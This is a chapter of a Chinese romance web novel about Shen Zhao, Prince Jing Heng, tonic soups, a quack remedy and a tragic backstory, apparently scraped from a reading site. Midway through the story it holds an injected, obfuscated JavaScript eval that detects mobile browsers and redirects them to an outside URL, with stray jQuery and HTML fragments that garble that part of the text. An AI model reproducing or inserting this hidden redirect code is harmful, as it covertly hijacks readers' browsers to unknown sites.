27. 第 27 章

作品:《我和王爷互相演戏

    这段时间景珩吩咐厨房做各种补品,然后往沈昭房里送,不是鸡汤就是燕窝,导致她现在一闻到各类鸡汤的味道就想吐。


    “绿茵,这鸡汤真得不能再喝了,我感觉我脑袋晕乎乎的。”


    “姑娘,厨房里面还有一大碗呢。”绿茵继续道:“王爷也是为了你好,想着你受伤一直没好,给你补补身子。”


    沈昭趴在桌子上,有气无力道:“补没补身子我不知道,倒是挺补体重的。”


    然后捏捏了手臂上的肉,“你看我手臂都粗了一圈,脸都圆了。”


    “再这样下去,你姑娘就要胖成一个球了。”


    绿茵没忍住,噗嗤一声笑了出来。


    沈昭捏了一下绿茵的腰窝,说,“你还笑!”


    绿茵勉强忍住,说,“姑娘,就算你胖成球也是一个好看的球。”


    “这是球的问题吗?”沈昭掐着腰道。


    “姑娘,那这汤怎么办?”


    “不知道。”


    沈昭手交叠在桌子上,头搁在手上,脑袋无奈叹气。


    几秒后,她抬头说:“绿茵,要不你把它喝了吧。”


    绿茵整张小脸都皱了起来,“姑娘,之前几次都是我帮你喝的,奴婢实在喝不下了。”


    沈昭忽然想起还有十四,问,“绿茵,十四在府里吗?”


    “姑娘,你都不知道,十四这几天为了躲避这汤,已经好几天没见到他了。”


    沈昭又一次叹气。


    半晌后,沈昭整张小脸都出现暴躁,掐着腰在房里来回踱步,“该死的景珩,若不是他吩咐厨房做这补品,我也不用每日喝,气死我了,气死我了。”


    “姑娘,你还是要喝。”绿茵道。


    沈昭看着桌上的鸡汤,随后仰天长叹,“谁来救救我?”


    景珩回府时,就先去看了沈昭。


    沈昭因看着鸡汤不顺眼,自然看着景珩也不顺眼,没好气道:“王爷,找我有何事?若无事,就先回去吧。”


    景珩讪笑两声,“无事,你好生休息。”


    景珩刚走出去,沈昭就看着鸡汤,瞬间就想到了最适合喝它的人。


    下一秒,景珩背后响起沈昭的声音:“王爷,等等,我刚好找你有点事。”


    景珩还处在懵的状态,但手被沈昭牵住,稀里糊涂的也没问何事就进了屋。


    沈昭吩咐道:“绿茵,去吧鸡汤给厨房热一热。”


    “是,姑娘,”


    绿茵立马明白沈昭的意思,端着鸡汤就下去了。


    绿茵重新把鸡汤放在桌子上,景珩看着面前的鸡汤,说,“夫人,这是给你补身子的,为夫就不喝了。”


    准备起身就走,紧接着就被沈昭按住。


    “王爷,这是我亲自舀的,不打算喝一下吗?”


    竟珩犹豫几秒后,说,“那就喝这一碗。”


    喝完第一碗,面前便无缝衔接地摆上第二碗,无限续杯。


    一盏茶后,景珩实在喝不下了,忍住打嗝,说,“夫人,我实在喝不下了。”


    “王爷喝了这么点就喝不下了,我还天天喝呢。”沈昭把碗往桌子上重重一放。


    景珩赶忙安抚:“大夫说你气血不足,需要补。”


    “那哪有天天补的?”


    景珩站起来拍拍沈昭的两边肩,安抚说:“是是是,夫人教训的是,夫人不想喝便不喝了。”


    “夫人不要生气了,是为夫考虑不周。”


    “我也没生气。”


    景珩笑了声,说,“嗯,夫人最大气了。”


    翌日。


    景华刚下马车,沈昭说:“参加公主。”


    “起来起来,不搞这些。”景华四处看了下,没看到景珩,问:“皇叔呢?”


    “在书房。”沈昭看着护卫一箱一箱地往外搬进来,问:“这些是什么?”


    “奖赏。”景华说:“父皇说皇叔私盐一事处理得很好,所以派我来宣旨。”


    “那公主不宣一下?走个过场?”沈昭问。


    “算了,皇叔也不在这。”


    护卫办完之后,说,“公主,已经全部搬完了。”


    “嗯,你们去门口等着就行。”


    “是。”


    然后拉着沈昭就回了屋,拿出腰间的药包,说,“这是我从神医那里得来的方子,说是只要泡上三日,所有疑难杂症都可以去除,并且还可以疏通经络,不出几日便神清气爽。”


    沈昭提醒道:“公主,那是江湖骗子的把戏。”


    “昭昭,反正你现在都过了这么久了,还没有痊愈,试试呗,试试又没有坏处。”


    沈昭也察觉到不对,说,“奇怪,按理来说,我应该早就痊愈了才对,可我这几日还是会感觉到浑身疼痛,还时不时对伴随着恶吐。”


    “对嘛,所以你看,才需要我这独家秘方。”


    沈昭纠正她:“公主,那不是什么独家秘方,那是江湖骗子蒙人的手段。”


    景华捂住耳朵:“不听不听。”


    沈昭无奈地笑了。


    “绿茵,去打两桶温水过来。”


    “是。”


    没一会儿,绿茵就端着盆进来了,景华打开药包,打算把药材都丢进去,结果发现都是普通的药材,市面上一抓一大把。


    沈昭见状,取消她:“被骗了吧。”


    景华气得想冲出去打那个江湖游医,被沈昭拦住,说,“你现在过去,人也早跑了,你以为谁都像你一样傻。”


    景华:“……”


    随即委屈道:“你怎么能这么说我?我还不是为了你么。”


    “是是是。”沈昭问:“那公主现在可以泡脚了吗?再不泡水都要凉了。”


    屋檐上,景珩问:“大清早地过来,就为了在这屋檐上坐一下午?”


    慕臣双手枕在脑后,说,“王爷,我好不容易才来看你一次,你就这么着急赶我走,也太不够意气了,明晃晃地见色忘友。”


    景珩拆穿他:“你那是为了见我吗?”


    “怎么不是?”慕臣咻地一下做起来,说,“王爷,你怎么能说出这么冰冷的话。”


    景珩无语地瞟了他一眼,不想争辩。


    突然一只猫猛地蹿上屋檐,吓得慕臣直接猝不及防地滚了下来。


    沈昭听到屋外的动静,打开门一看,只见慕臣趴在门口,手还捂着屁股。


    “慕小公子,你这是咋了?”沈昭问。


    “没事,嫂子。”慕臣转过头,指了指屋檐,说,“我只是从上面不小心摔了一跤。”


    刚好景华也出来查看,慕臣见状,以飞快的速度,从地上爬了起来。


    景华嘟囔道:“笨死了。”


    慕臣:“……”


    沈昭看着两人,若有所思。


    “绿茵,去请大夫。”沈昭道。


    “不用了,嫂子,我没事。”慕臣说。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804515|155638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    景华把沈昭拉进来,把门一关,说,“昭昭,别管他,他皮糙肉厚着呢,摔不死他。”


    “听公主这语气,是这慕小公子惹你生气了?”沈昭笑问。


    景华把头扭到一边,说,“没有。”


    景华离府时,把金疮药递给小厮,说,“转交给慕臣,就说是王妃担心他伤势送的。”


    “秉公主,慕小公子已经离府了。”


    小厮看出景华脸色不对,问:“公主,这金疮药如何处理?”


    景华脸上出现怒色,踢了一下御王府大门,说,“送你了。”


    然后一言不发地走了。


    吃饭时,沈昭说:“王爷,我感觉景华和慕臣之间不太对。”


    景珩夹了块排骨放到沈昭碗里,问:“夫人为何会这么说?”


    “不知道。”沈昭说:“就是感觉他俩之间别别扭扭的。”


    “今日慕臣摔下的时候,景华表面上装作不在意,但临走前从我这里取走了一瓶金疮药。”


    “慕辰的母家将军府曾被皇上下旨抄了家。”


    “那罪名是什么?”沈昭问。


    “贪污。”


    “贪污?”


    “嗯。”景珩说:“但那只是表面上的说法,实际上那不过是皇上为了定罪,想出来的法子。”


    “所以实际上并没有贪污,只是皇上诛九族找的借口。”


    景珩点头。


    “那皇上为什么一定要诛将军府?”沈昭问。


    “功高盖主,那时候赵将军接连打了胜战,在百姓当中很受爱戴,后来皇上受奸人挑拨,便随便安了个罪名抄了家。”景珩停顿几秒,继续说:“我记得赵将军的夫人那时候刚生下女婴,还未满一岁,也没放过。”


    沈昭莫名地感觉心堵,片刻,这种感觉消散。


    景珩看沈昭捂着心口,担忧问:“怎么了?”


    “没事,就是感觉赵将军一家挺可怜的,为大景朝呕心沥血多年,却落得如此下场。”沈昭问道:“赵将军与慕臣娘亲是兄妹?”


    “嗯,他娘亲生下他之后受此打击,没多久,便撒手人寰了。”景珩叹息一声,继续说:“侯爷一夜之间痛失爱妻,又知道将军府的惨案是皇上所为,便不许慕臣与皇室之人有任何接触。”


    “王爷,你不也是皇室之人吗?”沈昭抓住漏洞问。


    “我与侯爷认识多年,他知我品行,我与侯爷相识还是我老师引荐的。”景珩说。


    “你老师?”沈昭灵光一现:“王管家?”


    景珩夸赞道:“夫人聪慧。”


    “难怪我看护卫还有十四他们都挺尊敬的。”沈昭疑惑道:“那怎会来这府中?”


    “我以前遭受了很多刺杀,有一次命都差点没了,老师为了担心我,又怕他的身份被人察觉,便自毁容貌,来了府中。”


    “谁要刺杀你,那些人找出来了吗?”


    景珩摇摇头,说,“想要杀我的人太多了。”


    沈昭道:“放心,我会一一找出来,然后给你报仇。”


    景珩眉眼染上笑意:“那就多谢夫人了。”


    “将军府的事景华知道吗?”


    “不知道,这事内情没几人知晓,大家所熟知的都是将军府因贪污被抄了府。”


    “那王爷还把这么重要的内情告诉我,不怕我告诉别人?”沈昭歪头问。


    景珩上前,认真且温柔道:“我相信夫人。”